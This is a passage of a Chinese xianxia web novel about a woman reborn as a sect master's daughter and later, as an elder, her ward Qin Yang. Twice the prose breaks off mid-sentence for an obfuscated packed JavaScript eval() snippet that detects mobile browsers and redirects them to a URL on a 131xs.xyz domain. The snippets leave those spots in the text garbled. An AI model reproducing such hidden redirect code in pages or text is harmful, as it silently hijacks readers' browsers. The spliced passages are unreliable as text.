《穿越了,但没拿到主角剧本》 1. 梦醒 云山之巅,一座座流光溢彩的楼阁台榭隐匿在结界之后,剔透的琉璃瓦在阳光的照射下华美无比,与展翅高飞的仙鹤交相辉映。 这便是当今修真界排名第一的门派——上阳宗。 而此时上阳宗内一座雅致的小别院里,一个约莫六七岁的女孩正坐在床上,盘腿托腮,一脸凝重。 她要冷静,不就是平平无奇地穿越了嘛,算什么大事? 作为一名穿越者,绝不能丢了穿越大军的脸! 林子满一遍遍给自己洗脑,稳住自己岌岌可危的理智。 半个时辰前,她从一张古色古香的床上坐起来时,还以为自己只是做了一场新奇的梦,美滋滋地龇着个牙傻乐。 直到一个遍身罗绮、佩玉琼琚的美妇扑上来,搂着她直唤心肝儿,用力之大令她呼吸困难,她才发觉事情有些不对劲。 做梦也会呼吸困难吗? 林子满疑惑地想着,试探性伸手捏住自己的大腿,狠狠掐了一把,疼得她立马龇牙咧嘴地叫唤起来。 在美妇惊愕的眼神中,林子满扯起嘴角朝她尴尬地笑了笑,大脑一片空白。 这是怎么个事?! 虽然一脸懵,但作为一名遭受过社会毒打的打工人,林子满完美地具备遇到突发状况时所需的各项技能。 首先,遇到事情不要慌,否则极易成为背锅的对象! 其次,不动声色地打探情况,随机应变,化被动为主动! 简而言之,林子满靠着精湛的演技,扮演了一个无辜的失忆小女孩,赢得美妇的信任后,大致摸清了目前的情况。 没错,她不是做梦,而是穿越了,还穿到了一个修仙世界里,成了当今最负盛名的上阳宗宗主林征的独女。 看这配置,妥妥的主角剧本啊! 只不过,是主角幼年版。 林子满平摊着一双短小肉爪,再次深沉地叹了口气,真的没有时光平移大法吗?就那种,时光飞逝,转眼已是十年后。 她真的不想再当一遍小孩啊! 在林子满那短暂又中二的非主流时期,对穿越这件事是十分向往的,试问谁没有过一个回到古代,靠着现代智慧结晶大杀四方,称霸天下的穿越梦? 但在她已经不再做梦,接受这个平凡而又残酷的世界,靠自己的双手创造未来的时候,怎么这个梦又突然实现了呢? 难道这就是所谓的造化弄人? 回想着醒来前发生的事,林子满猜测自己原本大概是死了。 至于死因,大概是被气死的,当然,也能算是穷死的。 穷到为了争一点蝇头小利,大晚上不睡觉,最终因为没抢过人家,气得两眼一黑心脏病发作,双腿一蹬就跟世界说再见了。 现在想想真是不值当,天天精打细算,吃舍不得吃,喜欢的东西舍不得买,好不容易攒了些钱,结果一分带不走! 林子满狠狠锤了一下床,顺了顺心口,要不是现在这具身体没什么毛病,她觉得自己可能又要被气死了。 在床上躺了好几天,林子满终于被允许下地走动了,当她走出大门的那一刻,才真正看到了这个世界的样子。 此时正是阳春三月,明媚的阳光无差别地照耀世间万物,不远处的一棵大树上开满了各色小花,一个少年正踩着剑气势汹汹地飞来飞去,结果一个没刹住车,直直地撞了上去。 林子满目瞪口呆地看着这一幕。 少年狼狈地爬起来,隔着纷纷扬扬的落花和她对上了眼。 林子满忍不住笑出了声,被瞧见了出丑现场的小少年板着脸瞪了她一眼,红着耳朵踩上剑飞走了。 真是一个美好的世界啊,林子满忍不住感叹。 在这里,她可以肆意地跑跑跳跳,不用再担心胸腔里那颗不定时炸弹。 在这里,她不再是林子满,再也不用顶着那个寓意着子孙满堂的名字。她有了一个新的名字叫林芷满,是一个真正充满了美好祝愿的名字。 在这里,她将重获新生。 真好。 · 春日最是惑人心智,暖风吹得人神思倦怠,对什么都提不起精神。 林子满靠坐在窗边昏昏欲睡,手里的书摇摇欲坠。 忽而一片阴影投下,遮住洒了她满身的日光。 林子满一个激灵坐端正,手一抖书就落了地。 窗外的少年眉眼精致,肆意张扬的气质弱化了长相中的女气,透出一种别样的俊美。 林子满松了口气,吓死她了,这么多年过去了,还是走不出学生时代时被突然出现在窗外的班主任吓到的阴影。 “你干吗啊?一声不吭的,人吓人吓死人知不知道啊?”林子满没好气地说。 “我走过来那么大动静,明明是你自己没听见,怎么还怪到我头上了?!”少年怒目而视。 接着上下打量了她几眼:“你就是林芷满?师父的女儿?” 林子满不知道他师父是谁,但她现在确实是叫林芷满。 见林子满并未否认,他冷哼一声:“我还以为你修炼有多刻苦,还不是躲在这儿偷懒。” 林子满:??? 林子满满头问号,什么乱七八糟的?她什么时候说过自己刻苦修炼? 见面前的少年有些面熟,林子满仔细看了看,想起来他就是前几天没刹住车一头撞树上那位。 这是来找回面子的? 林子满哟了一声,戏谑地看着他:“你没偷懒?那还修为不济、一头撞树上?” 少年涨红了脸:“我那是飞得太快了,剑没反应过来!” 林子满:“………”剑不会说话就要背这样的锅? “再说了,就算我撞树上了,也比某些背个心法都背得要睡过去的人好些吧?”他意有所指地看了眼落在地上的书,“连心法都没背熟,你还好意思嘲笑我?” 林子满略有些心虚地捡起地上的心法,谁知道这东西那么难背,她抱着书啃了好几天了都还没能记下来。 “行,你最厉害,谁都没有你棒,行了吧?”林子满拖长语调打趣他。 却不想少年的脸红的更厉害,在原地纠结了一会儿,留下一句“既然你知错了,那我就原谅你好了”,拎着剑飞快地跑远了。 林子满哭笑不得地看着落荒而逃的少年,心想那我是不是还得谢谢您? 不过她也真想不明白,别人穿越都是穿成那种已经神功大成的人,她怎么就穿成了这么个还得从头开始学的小娃娃? 让一个被马哲熏陶了十几年的唯物主义者,现在来开始学习修仙,真是身心的双重折磨。 林子满迎来的第一个难关就是御剑。 从前看电视里的人御剑飞行,迎风而立、衣袂翻飞,好不快哉。 现在自己开始学了,满满的羡慕全变成了痛苦。 林子满努力了好几天,才堪堪让自己的小木剑飞起来。 但这还只是第一步,真正困难的是亲身上阵。 林子满站在剑上颤颤巍巍,努力集中精力控制着脚下的木剑,心跳随着身体的不断升高而加快,她总感觉自己要掉下去。 下一秒,预感成真—— “啊啊啊啊——” 林子满尖叫着从剑上滚下来,一头扎进了地上的沙堆里。 “呸呸——”有沙堆的缓冲,她倒是没受什么伤,就是吃了满嘴的沙子。 “这也太难了吧!”林子满躺在沙堆里无力望天。 她从前很羡慕那些能做各种剧烈运动的人,总是希望自己有朝一日也能体会一下坐过山车是什么感受。 但如今接触到比过山车更刺激的御剑飞行,她觉得她一点都不羡慕了,她还是想当一个安静的美女子。 闻声而来的周芜将她从沙堆里抱起来,仔细检查她是否有受伤。 林子满趁机卖惨:“阿娘,我能不能不学御剑啊?摔得好痛啊。” 周芜确认林子满没伤着哪儿后,拍拍她的肩膀鼓励道:“阿娘都能学会御剑,我们小满肯定也能学会的。” 林子满皱着张苦瓜脸:“可是阿娘学的时候,爹爹寸步不离地守着,人还没掉地上就被爹爹抱怀里了,哪像我,摔得砰砰响也没人心疼。” 周芜俏脸一红,故作严肃:“谁跟你说的这些话,你一个小孩子不要听这些。” “为什么不听?她爹娘的故事,她得耳熟能详才行。”林征从远处走来,一手接过林子满,一手揽住周芜,“毕竟没有我们的相遇相知,哪有你今天在这儿咋咋呼呼?” 林子满撇撇嘴,心想小孩真不好当,这么光明正大地被塞一把狗粮,还得装作什么都听不懂的样子。 看着周芜娇嗔着捶了捶大笑的林征,她又忍不住勾起了嘴角。 这种家的感觉,她已经很久没有感受过了。 她也曾短暂地享受过家的温暖,可后来发生的事情,让她觉得所谓的家人,所谓的亲情,不过是镜中花、水中月,虚幻又缥缈,轻易消失得一干二净,仿佛只是自己的幻想。 但现在她又重新体会到了这种感觉,这种拥有一个家的感觉,这种被家人爱着的感觉。 这或许是上天给她的补偿? 曾经的她拖着病弱的身躯,两次被父母抛弃,独身一人在世上挣扎。 而现在,她终于能像一个正常人一样,有一具健康的身体,有一个温暖的小家,有平凡却又幸福的一生。 林子满嘴角噙笑,不经意地转头,视线越过林征的肩膀,看见了跟在他身后的人。 四目相对,林子满先开了口:“这么巧,你好啊,撞树人?” 见怒意攀上少年的眉眼,她眼里的笑意更浓。 这小孩跟只脾气不好的小野猫似的,逗一逗就奓毛。 “你们已经认识了?”林征疑惑地问。 林子满笑眯眯的:“见识过这位的‘英姿’,却还未闻大名。” “这是杨之曜,是你最小的师兄。”林征将林子满放在地上,给她介绍,“之曜入门时,你恰巧病着,一直在休养,因而没机会让你们认识,没想到你们已经见过了。” 杨之曜板着张脸,跟只气鼓鼓的河豚一样瞪着她。 林征拍了拍杨之曜的头:“愣着干嘛?你不是对你师妹好奇的很?天天拐弯抹角地打听,现在怎么跟个木头一样杵在这里?” 杨之曜大声反驳:“我哪有?!” 说完意识到自己对师父说话的语气不恭敬,又瘪着嘴垂下了头。 林子满看着他的反应乐的不行,终于大发慈悲放过他,不再逗弄了。 “别看你杨师兄入门没多久,但悟性很高,对于御剑已经很有心得了。”林征对于自己新收的小徒弟十分满意,“你们年纪相仿,又都才入修行一途,让他带着你学,你能少走许多弯路。” 要一个十来岁的小屁孩来教她,林子满有些不满意:“怎么不让我跟着大师兄他们学?他们来教我,我肯定学得更快啊。” 林征摸摸她的头:“修为高不一定就能教得好,境界差距太大,你理解不了他们的话,他们也听不懂你的困惑,倒不如让一个跟你差不了多少的来教,合适才是最好的。” “以后就由你来负责教小满御剑了,没什么问题吧?”林征笑着拉过杨之曜,“你现在就这一个师妹,可得好好教啊。” “弟子定不辜负师父的嘱托。”对待正事,杨之曜还是很认真的。 · “爹爹,我真的要跟着杨师兄学御剑吗?”晚间用饭时,林子满垂头丧气地问林征,还想为自己争取一下。 想起初见时那棵被杨之曜撞得花落如雨的大树,她就隐隐觉得头疼。 “别担心,之曜那孩子挺喜欢你的,会保护好你,不会让你摔着的。”周芜看出了她的忧虑,柔声安抚她。 林子满无奈,他们到底是哪里看出杨之曜喜欢她的?他不讨厌她就不错了! 特别是知道杨之曜的身世以后,她更加怀疑他会不会趁着这次机会,让她直接摔死,一了百了。 身为侯府的世子,众星捧月般长大,容貌昳丽,天资聪颖,读书做事样样比别人强出一大截,小小年纪已在王城里出了名。 虽然那只是凡世间的王城,但杨之曜张扬的个性也早已养成。 现在金枝玉叶的小世子放弃了锦衣玉食的生活,走上了漫漫修行路,自然也要继续做人群里最耀眼的那个崽,万事都得做得尽善尽美。 而御剑出丑的一面又恰恰被个小姑娘给看见了,那小姑娘不仅是他师父的女儿,还放肆地嘲笑他,这可让他的面子往哪儿放? 偏偏林子满还喜欢拿这件事逗他,弄得他现在一看见林子满就鼻子不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902818|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼻子、眼睛不是眼睛的。 林征也说:“之曜可比你懂事得多,会尽好一个师兄应尽的责任,你就安心跟着他学吧,可不能再像以前那样任性了。” 林子满一僵,以前那样任性…… 她知道林征现在说的是林芷满,他们真正的那个女儿。 林子满扯出一个甜甜的笑:“知道啦,我会好好跟师兄学的。” 她不知道真正的林芷满去了哪里,按照一般的小说套路,林芷满应该是死了,林子满才能穿越到她的身体里。 她不是真正的林芷满,她也不想再被抛弃一次了,所以她会当一个让父母满意的孩子,变成他们期待的那样。 · 翌日,红日初悬,林子满就早早地爬了起来,抱着自己的小木剑来到御剑场,等着杨之曜来教她。 她坐在一旁的栏杆上,双手托腮,为自己接下来的命运再次深深地叹了口气。 有人御剑而来,掠过她以后来了个漂亮的摆尾,“唰”地一声悬停在她面前。 “你这什么表情?是不信我能教好你吗?” 杨之曜抱臂看着面前整张脸写着“吾命不久矣”的林子满。 你有自知之明就好,林子满心想,你那横冲直撞的架势我可受不了。 “御剑场是专门设给初学者练习的,就算掉下来也是落在沙坑里,胳膊腿都摔不坏,有什么好怕的?”杨之曜十分不解。 “你学会了当然说不怕,问题是我不会啊。”林子满没好气地说。 再说了,就算摔不死,难道就不会痛吗?不过这话她没说出口,不然说不定会被他嘲讽娇生惯养、吃不了苦。 像杨之曜这种天之骄子,学啥都是一点就通,从没体会过挫折的滋味,自然理解不了她这种普通人学习过程中的辛酸苦辣。 林子满不再多言,咬牙站上木剑,在他的指导下一点点升空。 不知是因为杨之曜的指点,还是昨天的练习有了成效,今天好像飞得稳了些。 林子满将砰砰直跳的心稍稍放回肚子里,稳住心神继续往上飞去。 越往上风越大,吹得她的身体微微摇晃,林子满忍不住低头往下看了看。 !!!!! 这一眼可不得了,她不知不觉间竟已飞出几十米高,看着自己与地面之间那一大片空间,林子满脑子眩晕了一下,整个人就从剑上栽了下去。 “啊啊啊啊啊——” 嗓子都快喊劈了。 这下是真的要完,就算底下是沙坑,这巨大的冲击力也能把她砸成肉饼了吧。 听说人在死之前,脑子里会如同走马灯一般,回想起一生的经历。 但林子满什么都没想起来,脑子里只有失重带来的恐惧。 或许是因为我这一生实在乏善可陈吧,她有些悲哀地想。 突然,失重的感觉消失。 ——她被人接住了。 林子满抬眼,一张精致又肆意张扬的脸在她面前放大。 “怎么怕成这样?”杨之曜有些无奈地叹了口气,“还是先带你飞几圈适应一下吧。” 他将林子满稳稳地放在剑上,扶着她的肩让她站好,心念一动,脚下的剑便窜了出去。 呼啸的风声掠过林子满的耳畔,散落的头发随风飘舞,她倚靠着身后温暖又稳重的身躯,攥成拳头的双手慢慢放松下来。 眼前是一望无际的蔚蓝天空,脚下是变得遥远而渺小的上阳宗,耳后传来清透的少年音: “怎么样,是不是也没有那么可怕?” 林子满点点头,习惯了这种风掠过脸颊的感觉,好像是没那么害怕了。 “御剑不能怕,你一怕,就飞不稳了。” 飞了几圈后,杨之曜带着她落了地。 林子满笑道:“原来你还挺厉害的啊,小师兄。” “我本来就很厉害,是你自己不信好吧?”杨之曜没好气地说,“还有师兄就是师兄,加个小字干什么?小师兄听起来像话吗?” “行行行,师兄师兄,先前小瞧了师兄是我的错。”林子满从善如流。 “这还差不多。”杨之曜对于这声师兄显然很受用,嘴角忍不住往上勾了勾,“趁热打铁,继续练吧。” 林子满捡起自己的小木剑,深吸口气站了上去。 “放心吧,掉下来也没关系,我会接住你的,我一直都在,你不会摔着的。”杨之曜看出她还是有些怕,宽慰道。 林子满听着他笃定的语气安心不少,剑随心动往上飞去。 她越飞越快,越飞越高。 云层挡住了视线,她低头就能看到的那个身影消失了。 她莫名一慌,脚下的剑就乱了章法,一个不稳就落了下去。 身体不断下坠,穿过云层,她转头去寻那个身影,地面上却空无一人,什么都没看到。 她不死心,睁大眼睛努力寻找,依然一无所获。 骗子,说什么会一直都在,说什么会接住她,都是骗人的。 身体重重砸在地上,激起一片尘土。 林子满一个激灵惊醒过来,大口喘息着。 屋外淅淅沥沥下着雨,室内只有她凌乱的呼吸声,嵌在墙上的夜明珠散发着柔和的光,映出她一脸的冷汗。 林子满在床上呆坐半晌,才从梦境中抽离出来。 怎么突然梦到从前的事了? 她抬手擦去额上的汗,缓缓将脸埋进了掌心里。 过了一会儿,眼泪从指缝里流出。 林子满的声音哽咽着响起:“骗子。” 明明说他会一直在的,还不是丢下她一个人。 再没有人会在底下等着她,掉下来也不会有人接住她了。 她只会像梦里一样,狠狠地砸在地上。 摔个稀巴烂。 木门突然被扣响,林子满深吸了几口气,压下声音里的异常:“何事?” “师父,掌门托人来问,过几日就是摘花会,此次大比师父可要出席?” 摘花会? 林子满按了按额角,将混沌的脑子揉得清醒了些。 她已经有许久没参与过这种大比了,闹哄哄的,实在是喜欢不起来。 但这次…… 她想了想,对门外的人说:“你告诉掌门,这次我会去的。” 2. 流言 秋风瑟瑟,金桂满地,秋天已过了大半。 五年一度的摘花会正开展得如火如荼,凌厉的剑招、奇诡的阵法时不时引得人们拍手叫好。 这摘花会名为摘花,实为大比。只因真正的仙门大比只有修真界排名前二十的门派可以参加,他们这些“不入流”的小门派便抱团取暖,联合起来弄了个摘花会。 在秋季举办,以折桂为名举行这场大比,就是给各派弟子一个展示自己能力的机会,优胜者不仅能得到稀有灵宝作为奖励,还有机会得各宗主、长老青眼,拜入自己敬仰的前辈门下。 此次便是轮到永凌山主持此次大比。 林子满坐在看台高处,远远望着演武场里那个熟悉的身影,不禁感慨时光的无情。 五百年能发生些什么呢? 虽不至于沧海变桑田,却也会让一个人在历史的长河里销声匿迹。 就像现在,除了她,还有谁会记得曾经那个惊才绝艳的人呢?大家只会感慨眼前少年的意气风发。 秦扬初长成的身体还略显单薄,一招一式却显得从容不迫。 在阵阵叫好声中,对面的人被一剑震飞,跌下演武台,落在看客身前,在大家的嬉笑声中瞪了台上的人一眼,随后面红耳赤地匆匆离开。 秦扬收剑回鞘,朝周围拱手一笑:“献丑了,我也没想到这位师兄如此让着我,才让我这般简单地赢了。” 林子满喝了口茶,心想真是一模一样,连这种嚣张的语气都如出一辙。 底下围着的小姑娘被他这一笑笑红了脸,其中一个大着胆子搭话:“秦师弟,你不如来我们清风门吧,师姐们天天让着你!” 秦扬笑着连连摆手:“师姐这是想让我当这全修真界的公敌啊!” 说完他微微侧头,望向看台。 大部分人对他投以赞许的目光,掌门眼神复杂地看着他,而在掌门身侧,一个身着青色罗裙的女子正直直看着另一处。 秦扬顺着她的目光偏头看去,一个健壮的青年夺下对方手中的剑,将人一脚踹下演武台,气喘吁吁地往地上一坐,撩起衣摆擦去额头上豆大的汗珠。 秦扬在心里嗤笑一声,真是个莽夫。 林子满见徒弟赢了,笑着招手示意人上来。 见青年乐呵呵地向林子满快步走去,秦扬抿抿嘴,抬步向掌门走去。 林子满另取了个杯子倒茶递给茅重:“今天表现的不错,白斓这次应该会满意了。” 茅重一口饮尽杯中茶水,稍作犹豫后,挠挠头道:“我决定还是不去白长老那儿了。” 林子满惊讶地问:“怎么了?你不是一直想跟着白斓修行吗?” 茅重:“可是师父一个人住在无为峰,没人照顾我不放心。” 吕秉清不屑地笑了笑:“你一个小屁孩,真以为你师父得靠你活着?” 茅重不服:“难道不是吗?掌门你十天半个月都不一定有时间来看师父一趟,师父可不就是我一个人照顾的?” “嘿——我看你是越来越没大没小了啊,你还知道我是掌门呢?怎么跟掌门说话的?小心我揍你。” 眼见两人又要吵起来,林子满无奈地叹了口气,一边按住吕秉清,一边对茅重说:“好了好了,别闹了,你只管跟着白长老去虎行山,我这边你不用担心,我已经……”林子满一顿,看着一身劲装的少年走过来。 秦扬向他们行礼:“掌门,林长老,茅师兄。” 吕秉清微微颔首,问道:“你可想好拜入哪位门下了?若有想法了便自行去请教,看你这几日的表现,应该也不用我为你引荐了。” 秦扬看向一旁低头喝茶的林子满,道:“我近来沉迷于阵法,若能向林长老讨教一二,定能受益良多。” 林子满一愣,沉默地放下茶杯,看着茶壶里的茶叶随着沸腾的水泡起起伏伏。 良久后抬头微微一笑:“我于阵法一道不过略知一二,就不误人子弟了。” 秦扬没想到会被拒绝,一时没反应过来,甚至疑心是自己听错了。 看着林子满脸上淡淡的笑,他抿了抿嘴,难得多嘴解释了一句:“听说茅师兄此次也要外出修习,长老一人住在无为峰上多有不便,身为弟子,我也能代掌门照料一番。” 林子满依旧拒绝:“我已经同掌门说好了,摘花会结束便会搬去寒月岛,就不必劳烦你了。” 秦扬眉头皱的更深了,张嘴还想说什么,吕秉清开口打断了他:“好了,师姐的事还轮不到你操心,你想去谁门下自行去便是了,别叨扰师姐了。” “是弟子逾矩了。”秦扬默了默,低头欠身,“但弟子目前并无拜入其他师门的想法,还是想跟随师父修行。” “随你。”吕秉清不在意地一挥袖,示意他退下。 秦扬直起身,走之前偏头望向林子满,却见后者并不看他,只低头拨弄着茶杯。 这到底是怎么了? 自己提出的要求第一次被拒绝,秦扬难得有些茫然。 他缓步走下看台,听着底下喧闹的声音,隐约意识到有些事情好像正在脱离自己的掌控。 · 弟子峰,小溪边—— 几个身着黑色弟子服的人凑在一起唧唧喳喳。 “哎,你们听说了没,秦师兄想去林长老门下,被林长老拒绝了。” “秦师兄?秦扬师兄?” “是啊!就今天下午在看台上,当着好多人的面呢,掌门也在,张师兄当时就在他师父边上,亲眼看见的!” “真的假的,他这次大比不是出尽风头吗?我听说好些个大门派的长老都想收他,怎么,林长老还看不上他吗?” “对啊,而且林长老当着掌门的面就拒绝,也太不给掌门面子了吧。” “嗐!你们才来不久,不知道这其中的玄机。”一个较为年长的弟子故弄玄虚地笑了笑。 “什么情况,师兄你别卖关子了,快说说!” “是啊是啊,我们几个就数赵师兄你资历最深了,快跟我们说说!” ………… 听够几人的吹捧,赵斐这才不紧不慢地开口,神秘道:“你们难道没发现吗?秦扬身为掌门的亲传弟子,却还是跟我们一样住在弟子峰?” “这么一说还真是,被长老收为亲传弟子的都搬去各自师父峰上了,掌门另外几个弟子也都跟掌门一起住在寒月岛,就秦师兄还住在弟子峰。” “是啊,秦师兄自己住后山小院,平时不怎么跟我们碰面,不说我还没注意到。” “对诶,这是为什么啊?” 赵斐气定神闲地扔下几个字:“因为掌门不喜欢他。” 几人大吃一惊,纷纷道:“怎么会?秦师兄灵力高强,掌门怎么会不喜欢他?” “对啊,而且不喜欢他又为什么要收他当亲传弟子?” 赵斐冷笑一声:“灵力高强?当初他刚入宗门时,不过刚刚引气入体,灵根驳杂,连我三招都接不下,狗屁的灵力高强。” 几人面面相觑,不敢接话。 一个小弟子弱弱开口:“那怎么……怎么现在变得这么厉害了?此次摘花会,筑基期应该无人是他的对手。” 赵斐冷冷瞥了他一眼,轻蔑道:“大把天材地宝砸上去,资质再差修为也能突飞猛进。更何况刚入宗门那两年,洗髓潭天天都是他的身影。” “洗髓潭?那不是只有做任务拿积分换才能去的吗?他怎么能天天去?” “因为他那张狐媚子脸呗。”赵斐讥讽一笑,“现在天天跟各种师姐师妹纠缠不清,当年也是靠着那张脸哄着林长老说服掌门收他为徒,帮他洗髓锻体,搜罗无数天材地宝供他修炼。” 虽说秦扬在宗门内确实很受欢迎,但跟林长老又有什么关系?几人越听越糊涂:“那林长老这次怎么还拒绝收他呢?” “可能怕掌门生气吧,毕竟身为一宗之主,自己的道侣却跟一个来历不明的小弟子纠缠不清,自己还要收他为徒,能忍这么久已经很不容易了,肯定不能再接受秦扬拜入林长老门下。”赵斐的语气充满了恶意,“再说了,听说茅重也要外出修习,到时候无为峰上不就只剩他们二人?孤男寡女,谁知道俩人会借着师徒名义,在私底下做些什么不堪入耳……啊!谁?!” 一颗枣核从侧边飞来,尖锐的一角从赵斐嘴角划过,带着凌厉的力度一路划到耳边,鲜血涌出,赵斐半边脸霎时鲜血淋漓。 秦扬从树上跳下来,抛了颗枣到嘴里,边嚼边道:“赵师兄,背后说人闲话可是要烂嘴的哦,师弟我学艺不精,不小心毁了师兄这英俊潇洒的脸了,师兄莫怪啊。” “秦扬!你在这嚣张什么?!”赵斐恨恨道,“别以为有林柿给你当靠山你就可以横着走了,没看到这次吗?你腆着脸去求人家收你,人家理你吗?!我看她多半是已经看够你这张脸了,你可得趁着这次大比出风头的机会,早早地找着下家,好继续当你的炉鼎!” “瞧赵师兄这话说的,师弟我怎的就当了炉鼎了?”秦扬状似困惑地歪了歪头,“谁人不知炉鼎修为低下,难有突破?倒是师兄这多年未有进步的情况……” 秦扬咧嘴一笑:“才是炉鼎该有的样子嘛。” 看着赵斐铁青的脸,他又大惊小怪地惊呼一声:“哎呀呀!这样说来,毁了师兄的脸,我罪过可就大了啊!万一师兄这次没找着合适的主儿,那可怎么办呀!” “够了!”赵斐恨的眼里通红,仿佛要滴下血来,“不管你怎么颠倒黑白,事实是什么你自己心里清楚!看着你一路走到今天的师兄弟都清楚!你再怎么贬低我的修为,也掩盖不了你当小白脸才走到今天的事实!” 秦扬不以为意地笑笑:“贬低倒是污蔑师弟了,就师兄这还未筑基的修为,我再贬低贬低,那岂不是连刚入门的小师弟都不如了?” 旁边刚入门的小师弟们:“……” 别来沾边,我们害怕。 “师兄也不必总把小白脸挂在嘴边,毕竟——”他凑到赵斐耳边,轻声道,“师兄想当小白脸都没那个资本,嫉妒也是情有可原的,所以我就原谅你了。” 说完还笑眯眯地反问一句:“师弟是不是很大度呀?” “你!……” 不等赵斐破口大骂,秦扬转向其余几位弟子,收了脸上的笑意,正色道:“虽然我不受掌门喜欢这件事是真的,你们私底下怎么说我我也不在意,但是编排议论长老这种事还是不要再有下次了。不信的话可以去问问那几位从前车之鉴出来的师兄,向他们讨教一下诽谤长老要受些什么惩罚。” 前车之鉴是永凌山惩处犯错弟子的地方,也是所有弟子最害怕的地方。 看着施施然离去的秦扬,几个小弟子面面相觑。 想问问赵斐,但看到那张血淋淋的面庞上狰狞的表情,又怯怯地闭了嘴,几人互相使了个眼色,一同找借口赶紧离开。 · 秦扬刚回到自己的小院,便见一个曼妙的身影在门口徘徊,顿时几不可察地皱了皱眉。 下一刻,他扯出笑容走上前,温声开口道:“你怎么来了?” 李素月转过身,笑的满脸娇羞:“此次摘花会,筑基期魁首必定是师兄了,我是提前来给师兄道喜的。” “大比还有几天才结束,此时下定论还为时过早。况且此次参加大比的筑基期修士大多是初期和中期,我仗着自己是筑基后期才赢的轻松些,有什么可喜的?” “师兄也太谦虚了,与你一样年纪的有几个能有你这般修为?你现在可是那些宗主和长老争着抢着要的人。”说到这儿,李素月想到什么,笑意淡了几分,语气里多了些小心翼翼,“听说师兄打算继续跟着掌门修行?” 秦扬看了她一眼,面色不变:“你也听说了?我本打算跟着林长老学习阵法,但我资质平庸,她看不上我也是正常的。我也没有其他打算,就想继续跟着掌门修行。” “师兄何必妄自菲薄,林长老不收你,肯定是为了避嫌,虽然我是一定相信师兄的,但架不住总有人在背后嚼舌根,林长老这样做可能也是怕掌门不高兴吧。” 说着她有些愤愤不平:“林长老也真是的,她自己跟掌门感情不睦,还连累你……” “不可妄议长老。”秦扬冷声打断她。 李素月撇撇嘴,到底不敢继续说下去了。 见秦扬杵在门口,没有开门进去的打算,李素月问道:“师兄还要去哪里吗?我跟你一起吧。” 秦扬摇摇头:“上午比试耗费了不少灵力,我有些累了,你还有什么事吗?” 李素月找不到继续待下去的理由,只能不舍告别:“那我先回去了,师兄你好好休息。” 随后一步三回头地离开。 秦扬合上院门,走到树下的摇椅前躺下。 阳光透过树叶的缝隙洒在他脸上,秦扬眯眼望着上方,微风拂过,那金色暖光在叶间忽隐忽现,他不自觉就想起了那人在阳光下越发剔透的茶色眼眸。 明明是看起来那么简单的人,秦扬却总是猜不透她的想法。 那时,秦扬所住的村庄被一群来历不明的人屠戮干净以后付之一炬。 侥幸逃过一劫的他和李素月躲在村庄附近的小山上,李素月总哭着要回去找爹娘,有次趁他不备偷偷跑回了村里。 秦扬只能拎着把捡来的破剑回去找她,却见她和一个青衣女子拉扯着一个锦囊,见着他就哭喊着求救,青衣女子也转头看向他。 那是他们的初见。 也是一个不太美好的初见。 他举着锈迹斑斑的长剑挥舞过去,割断了他们争夺的锦囊,也割破了林子满的手掌。 断成两截的锦囊里落出紫色的花朵,被风吹落在烧得焦黑的土地上,林子满眼里的喜悦散去,化作了无尽的迷茫。 晶莹的泪珠跌出眼眶,顺着白皙的脸颊流下,她却无所觉的样子,只是呆愣愣地看着他。 从那时起,秦扬就没看懂过林子满。 不懂为什么见了他会喜悦。 不懂为什么被他刺伤后会迷茫。 不懂那滴眼泪为谁而流。 更不懂为什么后来要带他进宗门,替灵根驳杂的他洗髓伐经。还让掌门收他为亲传弟子,他想要什么便尽力为他寻来,惹上了什么麻烦也会帮他解决。 起初,秦扬以为林子满是看上了他的脸,毕竟刚开始时,她每次看着自己的脸都会出神,眼神里藏着浓烈的情绪。 他已经十多岁了,不是什么都不知道的小孩子,因着这张出色的面孔,他见识过很多人内心深处的阴暗面,也很清楚世上多的是表面看起来光风霁月,私底下却丑陋不堪的人。 而他这尚且稚嫩的身体,雌雄莫辨的脸蛋,毫无反抗之力的弱小,正是他们那些人最喜欢的那种——美丽脆弱又能轻易毁掉的东西。 那时秦扬想的是要利用自己这张脸,哄得林子满开心,换取更大的好处,待自己强大以后,才能主宰自己的命运,到时候想杀了使自己受辱的人也能轻而易举,毕竟那时的他实在太过弱小,能刺伤林子满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902819|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过是趁她不备,若较真起来,他一个还未长大的凡人怎么可能会是一个修士的对手。 林子满也确实如他所想那样,沉溺于眼前的美色,只要秦扬对她笑一笑,不管他提出什么要求,林子满都会满足他。 当知道林子满是掌门道侣时,秦扬还感叹,果然好处不是这么好得的,本以为只需牺牲一下色相即可,现在看来还得防着会被当成小白脸在某天晚上被掌门暗杀。 但事实证明他想多了,除了掌门不待见他,部分师兄弟嫉妒他,秦扬这几年都平安度过了。 而林子满也从未像他猜测的那样,在某个夜黑风高的夜晚来找他索取报酬,行什么苟且之事,他甚至很少见到她。 而且最近这段时间,林子满对他的态度越发冷淡,今日他提出拜入她门下,甚至都被拒绝了。 那这些年林子满为他做的那些事,到底是为了什么? 总不可能像别人说的那样,为了避嫌,怕吕秉清不高兴? 怎么可能? 当初吕秉清收他为徒时十分不乐意,甚至不准自己叫他师父,从他至今住在弟子峰便可看出他有多不招吕秉清待见。 可吕秉清还是收他当了亲传弟子,因为谁,大家都心知肚明。 